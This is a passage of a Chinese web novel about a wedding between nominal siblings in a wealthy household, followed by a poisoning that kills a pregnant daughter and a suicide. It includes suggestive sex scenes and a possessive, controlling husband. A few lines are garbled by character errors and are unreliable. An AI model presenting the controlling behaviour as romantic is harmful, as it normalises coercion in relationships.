窦妖一大早起来梳妆,在涂氏、苗巧凤和喜婆的倒饰下,很快穿好了凤冠霞帔。 院子里哄闹成片,都是邻里的宾客。涂氏在窦曲的招呼下,只好先放下手头胭脂水粉,忙出去招待。 涂氏一走,苗巧凤便接替她的活儿,拿起竹笔,沾蘸朱砂,在窦妹的眉心点了颗炽红花钿,笑道:“咱们姑娘今儿真是美极了,就算天仙娘娘来都比不过!姨娘还在就好了,她若能亲眼看见姑娘大婚,一定极欢喜!" 窦妖脸上带笑,心里却想:这可未必…… 姨娘还真见过她大婚,在扬州的时日,她的喜服还是姨娘帮忙套上的。可惜姨娘忙活这么久,想要她嫁给魏攸,却终究没成。 窦妖深吸一口气,收收心。今日难得是个喜日,不能再想往日的伤心事了! 苗巧凤和喜婆一人一边,替她梳好妆,最后再披上红盖头。 窦妖看不见东西,只能一手搀住苗巧凤,一手搀住喜婆,慢慢地走出门。 窦曲和涂氏见她出来,也忙去扶。 她走过热闹欢笑的宾客声,在靠近大门的时候,停住脚步,便朝自己名义上的爹娘一跪,一拜道:“女儿今日出嫁,辞别爹娘,您二老要好生保重身子!女儿日后会好好侍奉姑舅,敬重夫君,不给爹爹与娘亲丢人,也不会再让您二老操心的!" 涂氏露出笑容,上前掺起女儿:“好、好,爹娘都知道了,上花轿吧。” 涂氏招来苗巧凤和喜婆,重新掺着窦妖上花轿。 有小厮一喊“起檐子——”,随后,窦曲便从布袋摸出一大把碎银子,朝天撒出,抬花轿的轿夫们忙来抢,喜滋滋地把赏钱收入囊中。 花轿很快被抬起。 从别院去垂柳巷窦府的这段路并不远,窦妖很熟悉,去时是马车送的,而回来是八抬大轿接的。 窦妖在轿里闭目养神,一路上锣鼓喧嚣。等到她逐渐听到喧闹的宾客声,便知窦家要近了。 果然,没一会儿轿子落下,她被苗巧凤从轿内扶出。 窦妹披着红盖头,什么都看不见,却能听到极热闹的说话声。 窦家好像宴请不少宾客来,她听到有女人小声问同伴:“你可见过窦家这位表姑娘?听闻是窦氏襄州老家来投靠的,因为家道中落,便一直寄养在窦家。家养长大的,模样性情没人比窦大官人和大娘子更清楚,毕竟肥水不流外人田,就指给自家二郎做妻了……” “没想到这表姑娘也是因祸得福啊……” “可不是,如今窦二郎高中,又入了翰林院,如日方升。他们好日子还在后头呢…… 走完阴阳生撒的谷豆,窦妖被人扶着跨马鞍、过杆秤。而后她被苗婆子扶进喜房,坐在帷帐之内。 新娘一送到,屋里的妇人们开始交接饮酒,聊笑着。 没一会儿,她听到有人喊“新郎来了”,窦妖心忽跳,只觉床一陷,有个人坐到了身边,与她共牵起同心结。 她知道这人是谁,即便披着盖头,眼看不见,却也能听声脑绘。 窦妖在心里忍不住嘀咕,为什么女子出嫁要披盖头呢?成婚一辈子也就这一回,如此热闹喜庆的场面不见见未免太可惜了…… 撒帐过后,又吃一盏交杯酒,她就被弟弟牵起手,走到堂屋拜堂。 今日的拜堂有些奇怪,窦妖只听到窦洪说话的声音,却没听见云如珍的。难道大娘子没来么? 但想想也不可能,儿子成婚,大娘子怎么可能不来呢?或许大娘子只是坐高台从头到尾看着,没有开口罢了? 周围很喧闹,窦妹心里仍旧有种奇怪的感觉。直到拜堂完毕,她手里忽然被塞来东西。她看不见,但是能摸出来是布匹绸缎。 拜堂结束,天也黑了。 宾客们被邀去院子里吃酒,窦妖则被婆子们掺扶回喜屋。临走之前,她还听到窦平宴凑来,低低说:“阿姐,回去后乖乖等我,别出屋子。” 她当然不会出屋子呀。 窦妖不禁想笑,窦平宴是怕自己会跑,才突然嘱咐这一句吗? 窦妹在婆子们的拥簇下回屋,苗巧凤按姑娘事先叮嘱好的,给每人都打发了喜钱。婆子们收下喜钱,欢天喜地的离开,只留下苗巧凤还在屋里。 今日这番折腾,窦妖有些累了,坐床榻上又开始闭目养神。可她闭起眼,脑海中却都是窦平宴穿喜服的模样,如此意气风发,明媚风采。 原还奇怪,明明她披了一整日的盖头,什么都看不见,怎么会知道窦平宴穿喜服长什么样呢? 后来她觉得玄乎,又琢磨好一会儿,才恍然开窍——哪用得着看呀!之前就和弟弟成婚过一回,自是知道他穿起来是什么模样! 主仆二人就在屋里等着,半个时辰过去,屋外的吃酒说笑声逐渐散去。 窦妹知道他快回来了,心里紧张。其实她也不知道自己为何紧张,又在期盼什么,可胸口那处却砰砰跳个不停。 她开始了焦急的等待。 一柱香燃尽,又燃起一柱… 再半个时辰过去,还是没有人来。 窦妹终于忍不住,让苗巧凤出去瞧瞧。 不久后,苗巧凤从外头回来,凑到窦妖耳边慌张道:“姑娘,不好了,二爷和大娘子在主屋起争执了!大娘子把东西又摔又骂,丫鬟婆子跪了一地!老奴一出咱们玉京园就看见小年,还有二爷的人把这儿围的水泄不通。老奴还心奇,问他怎么不去二爷身边伺候。但小年却说,二爷要他一定护好姑娘的安危!" 第81章回首那人在闲珊(终) 窦平宴有种不安的预感。 这几日,他心中一直有个疑点,便是瓶翠或许会是他母亲的女儿。而他母亲又想把瓶翠纳做他的妾室,那么只剩他不是了 窦平宴想想就罢,只觉此事太过荒谬。 怎么可能呢?怎么可能会不是?他在家里待了将近十八年,倘若他不是,怎么府上任何一个婆子丫鬟都没提过?连点蛛丝马迹都没有。若他不是,可母亲这些年待他很是用心,天寒了给他绣冬衣,天热了亲手煮梅子汤。虽说母亲此举,是为了弥补儿时对他的亏欠,可…… 窦平宴想不下去了,有时候倒真希望,那只是自己的一番揣测。 今日是他最欢喜的一日。因为他和阿姐要成亲了。 他小心翼翼牵过她的手,来到堂屋拜堂。 宾客喧闹,身旁新娘稚艳得像朵芙菜。他心头喜着,轻轻唤了好几声阿姐,也不知她听见了没。 此时父亲已在高堂坐好,窦平宴却没有看见母亲。窦洪只笑着向儿子表示,让他放心拜就是。 直到拜堂结束,云如珍从头到尾都没出现。这些时日虽看上去风平浪静,但他清楚,底下实则暗潮涌动。今日毕竟是他与阿姐的大婚之曰,他不能不多加留心。 送完窦妖离去,天渐黑。窦平宴仔细跟小年叮嘱过后,便与几位表亲来到前院见宾客,吃酒。 贺喜声连绵不绝,一浪高过一浪,窦平宴眉眼带笑,这种欢喜自心底而来,直涌上头。他高兴地又打赏给小厮丫鬟们不少银子,连往曰看不顺眼的大哥窦平彰,都硬看顺眼喜酒过后,宾客散去。进入戌末,黑沉沉的乌云压在天际。 往常这个时候窦家很安静,丫鬟婆子都回到各自院里。今日因着大婚,亭中还有不少丫鬟小声谈笑,在雪地插梅祈福。 按理说,在前院与宾客吃酒时父亲也该在,可窦平宴却没看见窦洪半点影子,窦洪只打发昌叔过来。 窦平宴想起今日夫妻俩的不对劲,生怕出什么事。宴散过后,他便拔步往主屋去。 主屋没人,只有母亲身边的丫鬟还在擦扫。窦平宴绕过游廊,走到后堂屋前,忽然听到里头的争执声— 屋里,云如珍坐在藤椅上,脸色铁青,窦洪就站在离她五步远的地方。窦洪漠然看着妻子,声平静:“你都知道了?” 云氏倏而把茶盏挥到地上,“你要我怎么不知道!你卖了她?你胆敢背着我把她卖到妓院!” “是,我卖了她!”窦洪接着冷笑:“我卖她都算轻了!比你这个毒妇当年杀人夺子,可良善不少吧?你自个儿不守妇道,与我成婚前就跟你云家的家丁勾搭不清,竟还弄出个野种来!成亲前你联合云家瞒我,证骗我,让我在洞房夜有苦说不出!我不与你一般计较,也不曾在族老跟前揭你的短!可你竟胆大包天,将野种女儿带到身边来养至今我才知晓!我卖掉她又如何?你当初杀了映香,将她儿子夺在膝下抚养,我今朝算杀掉瓶翠,都不能解心头一半的恨!” 窦平宴正在门外,听到最后一句,蓦然开门:“你们在说什么?” 他当初为了一家安稳,替云如珍隐瞒十几年的事,如今是瞒不住了。 不过窦洪得知瓶翠就是这疯婆娘以前跟家丁生下的女儿时,一股气血涌上脑,什么也都不想替她瞒了。 他两步上前握住窦平宴的手,狠狠瞪着云氏:“不错,你的确不是她亲生的儿子!你生母是我死去的外室。如今你唤的这个母亲,是个实打实的毒妇,她生不出来儿子,怕将来没有依傍,便杀人夺子!就是她叫人,把你生母活活勒死的!” 她的手死死抠住扶椅,须臾的心梗,又硬着脸低吼:“那又怎么样?瓶翠是我的女儿,我唯一的女儿!你们如此糟践她,害得她身入泥潭,我不会放过你们的!” “你的女儿…她是你的女儿?”窦平宴倏而大笑,“可我不是母亲的儿子么?这几日我虽隐约察觉到一点,也不敢往那上面多想!难道我就是你前半辈子报复解气,后半辈子依仗的器件?” 云如珍唇哆嗦的说不出话,心头的恼火好像被什么冲灭一半,让她再没气力敢去拼。 窦平宴像只翅膀震碎破败的蝶,不再看他二人,转身离开。 一只穿着大红喜服的游魂,虚虚浮浮,飘荡到玉京园。 此刻,窦妖本焦虑地坐帐内,忽然房门一开,她听到了皂靴踏地的脚步。 接着,盖头被一根秤杆挑起…昔日抢婚的旧景与今日交叠,她果然看见了大红幞帽下弟弟极清俊的脸。只是他的神情好像很难过,却还努力朝她笑着,坐近拢住她的手:“阿姐,我们成婚了。” 窦妖见他眼红,不免担忧,“你怎么了?怎么好像是,要哭?” 话音落下,她忽然被弟弟搂进怀中。窦平宴紧紧抱住她,勒得她生疼,头自然而然抵到她的肩上。 才不折磨我,乃是她意识过来,她缺个终身的依靠了。今日她为她女儿恼怒的模样,我才知道,原来她不是不懂做一个好母亲,只是不想对我做个好母亲 窗外是飘茫大雪,和无尽的夜。屋内火炭噼里,暖香盈室。 听到后面,他的声音越来越低,吐气如兰。窦妖暗吃一惊,以前总捉摸不透为何大娘子不肯对自己儿子好点,想过十几种缘由,却没料到是这样的。他开始自轻自贱,窦妖心要融了,连忙拍他的背宽慰:“你怎么会没人要呢,我就要你啊,我会永远陪着你的……” 窦平宴忽然哽住,松开紧锢她的臂膀,红着眼怔怔看。“你说的,不要骗我。” 她笑笑颔首,还想继续伸手想摸他的脸,却没摸到,人就被他放倒在被褥里。他像虎狼扑食般缠了上来,不停亲她脸颊、嘴唇,最后一口咬在脖子上。 窦妖闭着眼,不去看他。眉眼处落下湿热的吻,柔软的物什熨过,烫得她身心都在颤。最后那吻又流连至唇边的时候,紧抓被褥的手忽然被他的手指钻进,十指交缠。 窦妖慢慢睁开眼,望见他逆光下动情的眸色。那眸中有疯狂、偏执、占欲、怜爱交杂,一只手捏住她的脸,睇凝着:“这辈子你都不能抛下我,不然我一定会死的。” 随着她一声嗯,窦平宴露出笑容,亲昵去亲她的脸颊。最后把她的腿盘到腰上,附到耳边低喃:“阿姐,我们要在一起一辈子” 后来有很长一段时日,窦平宴都不想跟云氏见面。 云氏也没有再出现过,只一个人待在主屋,不爱出来。她听说云如珍把瓶翠从勾栏救出,送到一个农庄去住,还送出好几百两银子作嫁妆,让瓶翠嫁了个地主。卖洪到底没有赶尽杀绝,对于此事,就当做不知晓。 成婚后的几天,一下子搬到玉京园住,窦妖还有点不适应。更不适应的是,成婚后还要取字。窦洪为她择的是“如微”二字,自此一来,府里的丫鬟仆婢便不再称她为妖姑娘,而是如微小娘子。这个叫法,窦妖硬是听了三日才顺耳。 自此般到玉京园,窦平宴比从前还要粘她,可谓蜜里调油。多数情况下,她还是做不到乖乖躺床上等他来,因为不适应,总要半推半就才能成。且欢好之前,她总要看着弟弟把避子药喝尽才能安心。 窦平宴起先总觉得丧气,一边攥她的腰发力,一边忍不住问:“为什么不要我的孩子?我们不都成婚了吗?你便是偏心,要是姓魏的孩子,你肯定要。” 滚烫的气息落在下颌,咬在胸前…她努力咽下喉间的嘤咛,抬手挡着眼,并不答。 其实自己也不知道缘由,总觉得还太早,这一切又来的太快了,她还没准备做一个母亲。瞧,他就是这样的人,明明说了会慢慢来,总忍不住一下推进再推进就像现在,她都事先招呼好,要他柔缓点,一到情动什么都抛之脑后,非得绑她的手,眼眸再度满覆贪婪与执拗,掐住腰让她叫夫君。 窦没有想到,成婚后最常来玉京园走动的,会是窦云筝。 她本以为云筝是来找茬的,头一日严阵以待了许久。窦云筝瞧她那警惕的模样,一抱胸,作势要把送来的礼收回:“魏郎的事都过去多久?你怎么比我还斤斤计较?我早就挂怀不恨你了!我们好歹也是一个屋檐下住了十几年的姊妹,你大婚,做姐姐的好心来贺你,特特挑了两个时辰的礼,你爱要不要,真是好心当成驴肝肺!” “你不恨我了?”窦妖拦住人,奇怪道:“你为何不恨我了?'' 只见窦云筝突然仰头望天,长叹老天爷,“天底下真还有这么傻的人?你还巴不得我恨你吗?” 窦云筝笑着,颇是大气地正视她:“我过生辰那日,你不也送了我两参筐的螃蟹,还有一只金丝线绣的福字枕头,忍冬纹袖泡,缀了明珠的藕荷色翘头履,这些绣品一看就是你的手艺!后来我想了想,自己也没那么讨厌你,不过一个男人罢了。既然你有心与我交好,做姐姐的哪能不卖你这个面子?不然显得我也忒小气。 其他东西的确是窦妖送的,不过那两筐硕大的活螃蟹,却是窦平宴弄来,要她送的。 窦妖方笑出声,上前拉住云筝的手:“好,三姐姐是大气之人,如今可是真对魏攸忘怀了?” 云等一白地的肩,“那自然,你走之后我总筑得家里少点什么,没了你还怪不习惯的,后来文亲又带我去相石-1亲事,就是晋阳日家的,他家五即的可曾见过?”窦妖摇摇头。 云湘一脸兴奋,再度拍笑道:“吕五郎容貌可不比魏郎差,五年前大娘子携你和大姐、二姐赴晋阳赏花宴,那次吕五郎也去了!可惜我当日得了风寒,只能留在家中,不然早就能见到他呢!” 云筝一提及晋阳赏花宴,窦妖突然有印象—当时宴上的确有一极出彩的小郎君,当众作的诗竟赛过后来的新科状元苏冒。后来回程的马车上,二姐窦云湘还对此人赞叹许久,数日念念不忘,催着主君要去打听呢。 没想到,如今这朵花竟落在云筝头上。 夜晚时分,窦平宴从书院回来,照样缠她要了许久。今日他倒是来兴,变化好几种花样,有些进的太过里头,窦妖实在受不了,弄了两下方作罢。 旖旎过后,窦妖倒在榻间,浑身散了筋骨。她太困了,迷迷糊糊间还睡过一觉。短暂的梦里有一场火,她看见窦云湘身陷其中,却任火烧也不呼救。反而隔着火光,朝她微微一笑…… 窦妖被这个梦吓醒了。睁开眼,刺目的燎火已经消失,只有熄灯后昏暗的室内。月光朦胧,帷幔柔纱,她转头望向窦平宴,却发觉他竟还没睡。 那场梦让她后怕,她下意识地靠近他,被他轻轻一笑搂进怀中,“我知道你做噩梦了。” 窦妖嗅着他中衣熏的白芷香,不知何时,这种香已经能让她心神安定。她抱紧弟弟的胳膊,小声问道:“上回二姐去医馆买药之事,可还有动静? 窦平宴亲亲她,只摇头:“二姐的婚期将至,自从戎北死后,她只在扶风院绣嫁妆,不常出门。这几日我一直让人盯着,她那些药买回来,都是自己煎了吃。” 82、问世安得有一隅(终) 半个月后,窦云娇被接来窦府小住。 窦云娇快要临盆,不赶巧的是,前不久她丈夫和几个同僚,都被召去京畿。 这一来一往六个月,怕是见不到妻子生产。而夫家此时正有俩兄弟闹分家,府上鸡飞狗跳。云娇的婆母为了让儿妇安心养胎,便决定先将人送回娘家。等孩子出生,再将母子接回。 云娇回来,最高兴的便是窦洪与兰姨娘。 兰姨娘是最得窦洪宠爱的,有好东西时,窦洪总记挂着扶风院,因此没常惹云氏忌妒。可惜再得恩宠,在兰氏心中,终究有个疙瘩——因为她没有儿子。 原先府里,除了大娘子云如珍,窦洪还有三房小妾。马姨娘膝下有窦平彰,曹姨娘膝下有窦平琦,人人都有个儿子做倚靠,偏她没有,这也成了兰氏心魔之一。不过这些年过去,两个女儿该嫁的嫁,该议亲的议亲,兰氏已经认命了。 冬去春来,雪已经化了。 到了寒食节这日,白日祭扫回来,晚上,窦洪办起家宴。 说是家宴,其实也是践行宴。因为等云娇产子之后,儿子也要前往京中述职。 窦洪这辈子最得意的,就是生了个出息儿子。他对窦平宴的期望,原只要在进士中排二甲十名之前就够了,毕竟自己当年也只止步于二甲。但他万万没有料到,儿子能有今日这番作为,不仅入了翰林,还成为庶吉士,真是祖上烧高香了。 今日一家子欢聚,只有云如珍没来。他不知那妇人是故意摆脸子还是旁的,让窦洪很不舒服。 窦洪打发丫鬟再去叫云氏,又与昌叔小声叮嘱:“兰姨娘爱吃烩青蛤,姜汁鱼片,你把这两道菜多盛些,送去后堂屋给她。再送一道鹅梨卷去,给她吃腻了开开胃。”圆桌上,窦洪叮嘱完,转头与窦云娇道:“你快要临盆,吃食上得万分留意,你素日爱吃的姜辣萝卜可不准再吃了!” 云娇应是,言笑:“自从我身孕进了九月,父亲日日都要念叨一遍。这话我没听腻,孩子都要听腻了。您呀就勿要担心,扶风院有姨娘和妹妹帮我看着,还有仆婢丫鬟伺候,不会出差错的!" 窦洪闻言拭泪,看了眼左手边的云湘:“湘姐儿不日也要嫁到范家,偏这范家又不在江陵,几年回来一次都难说。” 圆桌的北面,父女三人说着话。 南侧,窦妖默默用膳,碗里还有弟弟不断夹来的菜。 窦平宴低声与她说:“小时候就这样,兰姨娘受宠,父亲待大姐二姐比我要好多了。” 这样的事人人都心知肚明,只有云筝每每瞧见都要拈酸弄醋。 这不,窦云筝本在喂琦哥儿喝粥,听到这话当即不满,放下碗:“二姐要嫁去范家,可我也要嫁去吕家。吕家也不在江陵,怎么爹爹都不心疼心疼我?” 窦洪笑:“你这丫头,吕家在晋阳,不就是咱们相邻的州县?哪能跟你二姐姐比远呢!” 云筝听了还不满意,又比向圆桌的另一侧:“那弟弟和四妹也要去上京,怎不见父亲也叮咛一下?” 被云筝这么一指,窦妖显然有些无措。而窦平宴却像看戏般摇头失笑,继续夹菜。 只见窦洪叹口气:“宴哥儿那是要去翰林,爹为他高兴都来不及。况且妖姐儿嫁的是咱自家人,哪还怕见不到呢?你就别闹腾了,好生坐下,安心吃你的!快成婚之人还如此急躁,免得带坏琦哥儿。" 窦云筝闷闷不乐地坐下。 夜宴过后,回到玉京园,窦妖开始收拾要去上京的行李。云娇的身孕已经九个多月,时不时泛疼,连走路都变得吃力。她估摸着,临盆应该就在最近几天。 这几日芝兰那儿也没有动静,只被窦平彰抬了个通房当,除了偶尔与窦平彰的小妾藤娘起争执外,再没有旁的事。 窦妖以为芝兰悔了,曾打发苗巧凤去清风馆问上一问,问芝兰愿不愿意和她去上京。但芝兰仍旧拒绝,还是想留在清风馆。 收拾到一半,窦妖看见弟弟进来,问他:“近日二姐还是没有动静么?今晚我瞧她一副神思倦怠的模样,显然有心事。因为那男人的死,二姐一直对父亲怨念颇重,她也怨你当初揭穿她的私情,在众人跟前不给她留颜面…” 窦平宴却笑:“我有时还真希望她能有所举动,好结束这场面。” 他的暗哨一直在盯,但窦云湘只待在扶风院不出门,每日不是弹琴就是作诗消遣。甚至连她的丫鬟都很安分,安分到窦平宴心觉诡谲。可古怪在哪里,却没人指得出。夜半时分,玉京园外乱糟糟一片。脚步匆匆又杂乱,灯笼光不停晃动。窦平宴尚在床上安睡,小年忽来敲门,惊醒姐弟两个。小年飞快进屋,附到窦平宴耳边低声说几句。他脸色变得很难看,安抚住正要起身的窦妖。帐内无光,他的眸色比夜还要沉:“大姐姐要生了,似有血崩之状,我把他们都留给你,你先在玉京园待着,断不可出门,谁来都不要见!我先去扶风院看看。”窦妹虽料到云娇即将临盆,却没想到这么快,明明今晚上她还跟父亲谈笑自若。 血崩,窦妖惊着,这几日大姐养胎谨慎,连郎中都说脉象安稳。 就怕有人有心为之。 窦妖忙问小年:“现在扶风院里都有谁在?” “有主君,兰姨娘,湘姑娘,筝姑娘,大爷和曹姨娘刚赶去。”除却云如珍,似乎所有人都在。 窦妖一听,立马抓住窦平宴的手:“既然大家都在,那我更该去了!你别怕我会被人害,所有人都在,大姐姐平日待我不薄,我不去自己心也难安。” 思此,窦平宴只好应允,拿件斗篷替她披上,二人匆匆往扶风院去。 扶风院中悲鸣连天,丫鬟们捧入清水,端出来却是一盆盆血水。庭院火光连天,时不时传来窦洪焦躁的声音:“快去!再找几个稳婆郎中来!给我多多的找!一定要保大姑娘母子平安!” 说话间,忽有丫鬟惊呼,兰姨娘哭得昏厥过去。 院门外,一个小丫鬟端血水出来,被窦平宴拦住,“里面情形如何了?” 小丫鬟:“大姑娘血崩不止,用什么药都止不住…”窦妹抬头往院子里张望,只见窦洪病急乱投医地抓住郎中,让他把能用的药都用上。窦云湘坐石凳上一言不出,窦云筝和窦平彰干站,曹姨娘正将未睡醒的琦哥儿搂在怀里。她又问小丫鬟,“郎中可说了,血崩是何缘由?” 此刻,云筝正巧听到院外的动静,走出来,不安道:“郎中说大姐姐脉象相冲,疑似服的两味补药过猛所致。”"三姐可知她服过什么药?" 窦云筝说:“父亲方才问过伺候的丫鬟,睡到夜半时候,大姐姐水肿得厉害,四肢撅逆,吃过一碗赤丸方。不过这药大姐姐曾经也吃过,应该没有问题。”“赤丸方?”窦平宴琢磨,“赤丸中有茯苓、乌头、半夏、细辛几味。其中乌头……”他忽然想到什么,脸色骤变,“相冲的那味是乌头,可有备甘草来解?” 云筝心下不免惊叹二弟弟还真料事如神,与郎中说的一模一样。 忙道:“备了备了,送去给大姐姐吞服的药中,郎中还多加了绿豆和生姜!” 乌头,好耳熟的名字。窦妹疑心,总觉得自己在哪里听说过。不及她想起,忽然一声惨烈的哀鸣从屋中升起—— 是伺候窦云娇的奶娘,也是这回接生的稳婆,正抱着血泊中的女子嚎啕大哭:“姐儿!姐儿!姐儿快醒醒,孩子头出不来了!” 与此同时,伺候窦云娇的丫鬟踉踉跄跄,摔门而出,扑通跪在地上:“主君!大姑娘咽气了!” 庭中人人惊乱,窦洪奔也似得跑到房门前,竟看见那只垂落的手,一声悲吼。 窦洪进屋,所有人跟着进去。 屋里点了无数盏烛灯,亮如白昼。窦妖看见云娇躺的那张床全是血水,怵目惊心。却两眼睁着,死不瞑目。 这是窦妖见大姐的最后一眼。 晚宴之时,窦云娇还在跟几个姐妹谈笑风生。她生得极美,又丰腴,说笑时常常支起白嫩手腕,一只翠绿镯子十分显眼。 而此刻,如此风韵之人却如泡肿的浮尸躺在血泊中。一息一瞬,变化万千。 屋里的人不敢吱声,噤若寒蝉,只有窦洪沙哑的哭声遍布。 窦妖不敢再看,刚转过头,却看见小年正押着一人过来——此人正是窦云湘。 窦云湘被推到大姐的血床前。窦洪看见被推搡的女儿,登时怒喝:“宴哥儿,你做什么!” 窦平宴没说话,紧接着又有小厮提人进屋。窦妹认得此人,是云湘的丫鬟雪桃。 雪桃被踹了一脚,吃痛跪在地上。 小年走上前,将匕首抵在雪桃的脖子边:"主子问你话,你老实答!你若是乖乖招了,主子饶你一命,最多也就将你发卖掉!可你若敢隐瞒撒谎,那就不得好死了!"雪桃畏缩,连忙跪地磕头。 小年便按窦平宴说的,厉声问:“大姑娘平日吃的药,你家姑娘可有照看一二?” 雪桃点头:“有,兰姨娘怕丫头婆子贪玩,煎药误了时辰,就叫湘姑娘一同照看……. 窦云湘回头望雪桃,脸色越来越难看。 小年又陆续盘问雪桃许多,直到屋里众人惊骇,窦洪听不下去,怒摔了花瓶在云湘脚边。他不可置信地瞪着云湘,声线前所未有的沉:“是你害死你大姐姐的?害的她一尸两命,死不瞑目!” 此刻,后屋的兰姨娘也醒来。赶过来时,正好听到房里动静,哀恸着,扑到云娇床边哭嚎好久。 一柱香后,兰氏缓过神,登时怒不可遏。站起身冲来,抬手就给了云湘一巴掌,"混账!你为何要害我女儿!娇姐儿到底怎么你了!" 捆掌声响彻云霄,兰姨娘向来温婉,头一次有如此狠厉的一面。 眼看兰氏就要掐死云湘,窦洪立马把人拉住。 窦云湘本就细皮嫩肉,如今脸被甩得高高肿起。她冷笑盯着兰氏,“难道只有姐姐是姨娘的女儿,我就不是?我曾经还真想过无数回,若是姐姐死去,姨娘能悲痛到何等模样?如今才真真见到了。" 兰姨娘哭得撕心裂肺,窦洪断然向女儿喝道:“你疯了!娇儿可是你亲姐姐!” “亲姐姐又如何?” 窦云湘忽然扯开小厮的手,从衣领里掏出个木块。陈旧的木块用细绳绑着,系在她脖颈上,上面刻着“锁魂”二字。 她垂眸抚摸木块,问窦洪:“爹爹可知这是什么吗?” “这是沉水香木。” 窦云湘看向窦洪和他怀中的兰氏,突然两眼空洞地笑:“有一年姐姐病了,一个邪门歪道的术士告诉姨娘,姐姐的病是由我而起。是我身上的小鬼,冲撞了姐姐身上的大鬼。术士就给了姨娘一块沉水香木,告诉姨娘,这块木头可以锁精魂。姨娘为了保姐姐平安,就让我把沉水香系在脖子上,不能让任何人看见。那时,我不过才五岁!" 屋子里屏息凝气,窦妖听得惊骇。 此刻,窦云湘却突然回头看她:“妹妹妹,你以为我不懂你么?被人构陷的滋味我也尝过,只不过这种滋味一直埋在我心头罢了!我跟你一样,都恨那些道士,可我最该恨的,就是姨娘!" 窦云湘悲哭着,死死盯向兰氏:“我不恨姐姐,我只恨你!是你向父亲献言,活活打死了戎北!我那么相求,你们都不肯听!明明都是你的女儿,你还想让我的命养姐姐的命!如今姐姐死了,我倒要看看你是如何痛不欲生!" "够了!" 窦洪大喝,忙招呼昌叔:"二姑娘疯了,快给她关回去!找郎中看病!" 一场闹剧,在窦洪最终的怒声里截止。 各人都被送回了院落,而兰姨娘却再次因为云娇的死哭昏过去。窦洪请遍郎中给兰氏看病,以及窦云湘的心狂。 深夜,窦妖头一次因为别人而失眠。 她忘不掉云湘从怀里掏出的那块沉水香木,眼前不免浮起自己做的一场梦,梦中是燎燎大火,而窦云湘正身陷其中,任火烧毁也不呼救。 她想得正出神,窦平宴从屋外进来,坐上床,“阿姐还没睡吗?” 窦妹摇摇头,望着宝相花的幔帐:“想想还真是吓人。” 她没说什么吓人,但窦平宴却心知肚明。他上榻揽住她,轻声说道:“兰姨娘此人与祖母真是像,同样对邪门歪道深信不疑。二姐碰上她,也算可怜,还被养的这么心术 不正。” 窦妖:“是啊,以前我看二姐,也艳羡过她得父亲宠爱,什么好东西没有。父亲重视大姐和二姐,连请来教诗书的夫子都是最好的。二姐如今走的这步棋,可谓狠毒至极 了。” 听她这么一说,窦平宴不禁想起两人的小时候。 那时窦洪每天被衙门的事绊住,很少回家。偶尔回来,心思也大多在兰氏母女身上。幼年的他吃过各种苦,但父亲从来看不见。以至于到后头,窦平宴也不愿意跟他提起。而唯一见过他苦难,与他携手走过的,只有窦妖一个人。 其实他与窦云湘在某些面上,也是同样病态之人。只不过他好歹有阿姐,病得才没云湘那么重,心底尚存着本能的善意。 窦云娇的丧事是在家中办的,后来遗骨被送到她的婆家埋葬。一起埋下的,还有云娇腹中死去的胎儿。 而云娇死后的头七,也就是下葬当日,窦云湘撞墙身亡。 窦云湘的死,使原本就悲痛的窦洪雪上加霜,一厥不起,在榻上修养多日。 今日,窦妖正好去侍奉父亲。 窦洪的脸色比之前要颓废许多,两鬓也多生了些白发。窦妖小心翼翼服侍他吃药后,窦洪突然拉住她的手,两泪纵横,说了许多。 窦妖默默听他讲述年轻时的事,当初如何从穷乡僻囊出来,远赴京城科举,如何仕宦,又是如何遇上云家,得云家相帮。提到云如珍时,窦洪的唇明显动了动,像是想说什么,却又不愿再提。 这时,房门被推开,有人端药进来。 此人也穿一身白衣,消去往日雍容,变得素静不少。窦妖立马起身,给大娘子让了座。 而当云如珍放下药,坐到窦洪床前时,他冷冷哼了声,别过头:“你来做什么?” 云氏抬手挥退了窦妖,朝那人打量,“我自是来笑话你的,当初你把瓶翠卖到勾栏去,如今也遭报应了吧!瞧你今日这样,两个最爱的女儿相继死去,连你喜欢的兰儿也病了,如今你可不比我惨?" 这话放在往日,窦洪一定会跟云氏吵起来。然而现在的他好像看破红尘,再也生不起气来,只抿住唇不说话。 云氏心头忽然酸起,也不知为何而酸。明明是厌透了的人,瞧他如今行将就木,不复当年风采,心里反倒不好受。 她也不说话,开始捣腾碗里的药,轻轻吹:“你不是说要报复我么?你若还想报复我,就快些好起,免得我又豢养几个面首,让你窦家多几个子嗣……” 窦洪一听,突然恶狠狠瞪她:“你敢!” 云如珍终于笑了,不再看他,“敢不敢不是我口头怎么说,而是做了后才知晓。” …… 窦妖和弟弟离开窦家的这日,正是五月初五的端午。此次离开,她带上苗巧凤,与梨香院的几个丫头。 在家门口与窦府众人辞别后,窦妹登上马车。与此同时,几个小厮也拿东西塞入马车里。 窦妖着眼一瞧,发现这些都是纸灯——细细的竹柄,灯笼有茶白的、鹅黄的、淡粉的、青碧的…颜色繁多,但这些纸面却都是空着的,没有题字,也没有作画。不久后,窦平宴登上马车。 马车徐徐驶动,窦妖忍不住问他:“咱们带这些东西上路做什么?美则美矣,但行路周折,免不了要受损的。” 他不直答,眼眸却晶亮,"阿姐还记得今天是什么日子吗?" “端午?” 窦平宴点头,抚摸她的脸,认真道:“是了。等晚上行到城郊,我们就去河边题字放纸灯吧?你当初欠我的,如今补上。” “欠你的?”窦妹发疑,“我何时欠你了?” 提起这事,他就有点不高兴。抱住她闷闷道,“都不记得了?那年你为了气我,把我们做的纸灯全烧了。我至今都还记得你当时有多淡漠,现在心里过不去….”窦平宴说完,又在她脖子上咬了下。 窦妹呼痛,登时推开他:“你能不能别老咬我,我这脖子得被你咬废掉!” 话音落下,她就被揽入一个怀抱。 那人替她揉脖子,毫无悔改地笑:“谁让你老是负我呢?我每每气不过,只能咬你解恨了……阿姐若恨我,也可以咬我。” 说罢,他还真指了指自己的脖颈,“不过你要轻些,咬重我可没了。你就像我咬你那般,都是抓好力道来的。” 窦妹瞪一眼,真是懒得理这种无赖。 果然,就像窦平宴算的那般,马车行驶到郊外时,已经入夜了。 窦平宴拉她下车,在河边找了处平整的石块,将纸灯放上。 她看弟弟光铺纸灯,也没拿笔墨。正想打笑他是不是忘带了,转头窦平宴鼓掌,小年就从另一辆马车下来。 窦妹打着灯笼,远远看见,小年手里拿的,好像还真是笔墨与砚台。 窦平宴捧了点河水放入砚中,开始磨墨。磨好后笔尖一蘸,递给窦妖:“写吧。” “写什么?” 窦平宴恨恨捏她的脸,“当然是写我们昔年所写的!” 